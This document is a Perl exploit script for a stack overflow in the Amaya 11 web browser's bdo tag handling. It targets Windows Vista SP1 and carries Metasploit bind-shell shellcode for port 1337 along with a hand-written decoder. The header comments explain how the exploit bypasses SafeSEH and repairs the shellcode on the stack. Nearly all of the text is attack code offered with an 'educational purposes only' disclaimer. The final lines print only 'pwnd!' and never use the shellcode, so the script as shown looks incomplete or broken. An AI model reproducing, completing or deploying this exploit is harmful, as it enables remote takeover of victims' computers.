#!/usr/bin/perl ############################################# # # Amaya 11 bdo tag stack overflow # # author: Rob Carter (cartrel@hotmail.com) # # targets: windows vista sp1 # # modified the alpha-numeric shell-code # from metasploit since the first 12 bytes # didn't fall within the ASCII range of # 0x01-0x7f. otherwise my payload would # have been corrupted on the stack. wrote # a 47-byte decoder to repair the shell- # code to its original state. # # this exploit bypasses safeSEH by jumping # to a pop pop push pop ret sequence in # one of the amaya modules that has a # constant base address in memory. ret's # back to the stack, short jump over the # overwritten SEH, decodes the first 12 # bytes of the shellcode and then runs # the repaired shellcode to bind a shell # on port 1337. # # $ perl amaya_sploit.pl > pwn.html # # the author is not responsible for any misuse of # this code. it is intended for educational # purposes only # ############################################# # win32_bind - EXITFUNC=seh LPORT=1337 Size=709 Encoder=PexAlphaNum http://metasploit.com my $shellcode = # original first 12 bytes of shellcode: # "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49". "\x7f\x01\x01\x7f\x03\x68\x78\x70\x6f\x6f\x3d\x37". "\x49\x49\x49\x49". "\x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36". "\x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34". "\x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41". "\x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4c\x36\x4b\x4e". "\x4d\x34\x4a\x4e\x49\x4f\x4f\x4f\x4f\x4f\x4f\x4f\x42\x56\x4b\x48". "\x4e\x46\x46\x42\x46\x42\x4b\x58\x45\x44\x4e\x33\x4b\x38\x4e\x47". "\x45\x50\x4a\x47\x41\x50\x4f\x4e\x4b\x48\x4f\x34\x4a\x41\x4b\x38". "\x4f\x45\x42\x32\x41\x30\x4b\x4e\x49\x44\x4b\x48\x46\x53\x4b\x58". "\x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x58\x42\x4c". "\x46\x57\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x50\x44\x4c\x4b\x4e". "\x46\x4f\x4b\x33\x46\x55\x46\x32\x4a\x52\x45\x37\x45\x4e\x4b\x48". "\x4f\x55\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x38\x4e\x30\x4b\x54". "\x4b\x48\x4f\x35\x4e\x41\x41\x30\x4b\x4e\x43\x50\x4e\x32\x4b\x48". "\x49\x48\x4e\x36\x46\x52\x4e\x31\x41\x56\x43\x4c\x41\x53\x4b\x4d". "\x46\x56\x4b\x48\x43\x54\x42\x53\x4b\x58\x42\x44\x4e\x30\x4b\x48". "\x42\x37\x4e\x41\x4d\x4a\x4b\x48\x42\x54\x4a\x30\x50\x45\x4a\x56". "\x50\x38\x50\x54\x50\x50\x4e\x4e\x42\x55\x4f\x4f\x48\x4d\x48\x36". "\x43\x35\x48\x36\x4a\x46\x43\x43\x44\x43\x4a\x46\x47\x37\x43\x47". "\x44\x33\x4f\x55\x46\x35\x4f\x4f\x42\x4d\x4a\x36\x4b\x4c\x4d\x4e". "\x4e\x4f\x4b\x33\x42\x45\x4f\x4f\x48\x4d\x4f\x35\x49\x38\x45\x4e". "\x48\x46\x41\x58\x4d\x4e\x4a\x30\x44\x30\x45\x55\x4c\x36\x44\x50". "\x4f\x4f\x42\x4d\x4a\x46\x49\x4d\x49\x30\x45\x4f\x4d\x4a\x47\x35". "\x4f\x4f\x48\x4d\x43\x35\x43\x45\x43\x45\x43\x35\x43\x55\x43\x54". "\x43\x45\x43\x34\x43\x35\x4f\x4f\x42\x4d\x48\x46\x4a\x56\x45\x30". "\x49\x43\x48\x36\x43\x45\x49\x48\x41\x4e\x45\x59\x4a\x36\x46\x4a". "\x4c\x51\x42\x57\x47\x4c\x47\x35\x4f\x4f\x48\x4d\x4c\x56\x42\x41". "\x41\x45\x45\x55\x4f\x4f\x42\x4d\x4a\x36\x46\x4a\x4d\x4a\x50\x32". "\x49\x4e\x47\x55\x4f\x4f\x48\x4d\x43\x45\x45\x35\x4f\x4f\x42\x4d". "\x4a\x36\x45\x4e\x49\x44\x48\x48\x49\x44\x47\x55\x4f\x4f\x48\x4d". "\x42\x55\x46\x45\x46\x35\x45\x35\x4f\x4f\x42\x4d\x43\x39\x4a\x36". "\x47\x4e\x49\x37\x48\x4c\x49\x37\x47\x45\x4f\x4f\x48\x4d\x45\x55". "\x4f\x4f\x42\x4d\x48\x46\x4c\x36\x46\x46\x48\x56\x4a\x36\x43\x56". "\x4d\x56\x49\x38\x45\x4e\x4c\x56\x42\x55\x49\x35\x49\x52\x4e\x4c". "\x49\x48\x47\x4e\x4c\x56\x46\x34\x49\x58\x44\x4e\x41\x53\x42\x4c". "\x43\x4f\x4c\x4a\x50\x4f\x44\x54\x4d\x32\x50\x4f\x44\x34\x4e\x32". "\x43\x49\x4d\x48\x4c\x57\x4a\x43\x4b\x4a\x4b\x4a\x4b\x4a\x4a\x56". "\x44\x37\x50\x4f\x43\x4b\x48\x31\x4f\x4f\x45\x47\x46\x54\x4f\x4f". "\x48\x4d\x4b\x45\x47\x45\x44\x55\x41\x35\x41\x35\x41\x45\x4c\x56". "\x41\x50\x41\x45\x41\x55\x45\x55\x41\x45\x4f\x4f\x42\x4d\x4a\x56". "\x4d\x4a\x49\x4d\x45\x50\x50\x4c\x43\x45\x4f\x4f\x48\x4d\x4c\x56". "\x4f\x4f\x4f\x4f\x47\x53\x4f\x4f\x42\x4d\x4b\x38\x47\x45\x4e\x4f". "\x43\x38\x46\x4c\x46\x36\x4f\x4f\x48\x4d\x44\x55\x4f\x4f\x42\x4d". "\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x43\x45\x4f\x4f\x48\x4d". "\x4f\x4f\x42\x4d\x5a"; $decoder = "\x5b". # pop ebx "\x5b". # pop ebx "\x68\x6c\x02\x58\x6c". # push 0x6c58026c "\x58". # pop eax "\x01\x43\x38". # add dword ptr[ebx+38],eax "\x68\x01\x01\x01\x10". # push 0x10010101 "\x58". # pop eax "\x01\x43\x3c". # add dword ptr[ebx+3c],eax "\x68\x01\x7f\x7f\x7f". # push 0x7f7f7f01 "\x58". # pop eax "\x01\x43\x3c". # add dword ptr[ebx+3c],eax "\x68\x11\x11\x01\x01". # push 0x01011111 "\x58". # pop eax "\x01\x43\x40". # add dword ptr[ebx+40],eax "\x68\x7f\x7f\x11\x11". # push 0x11117f7f "\x58". # pop eax "\x01\x43\x40"; # add dword ptr[ebx+40],eax $payload = "pwnd!"; print $payload;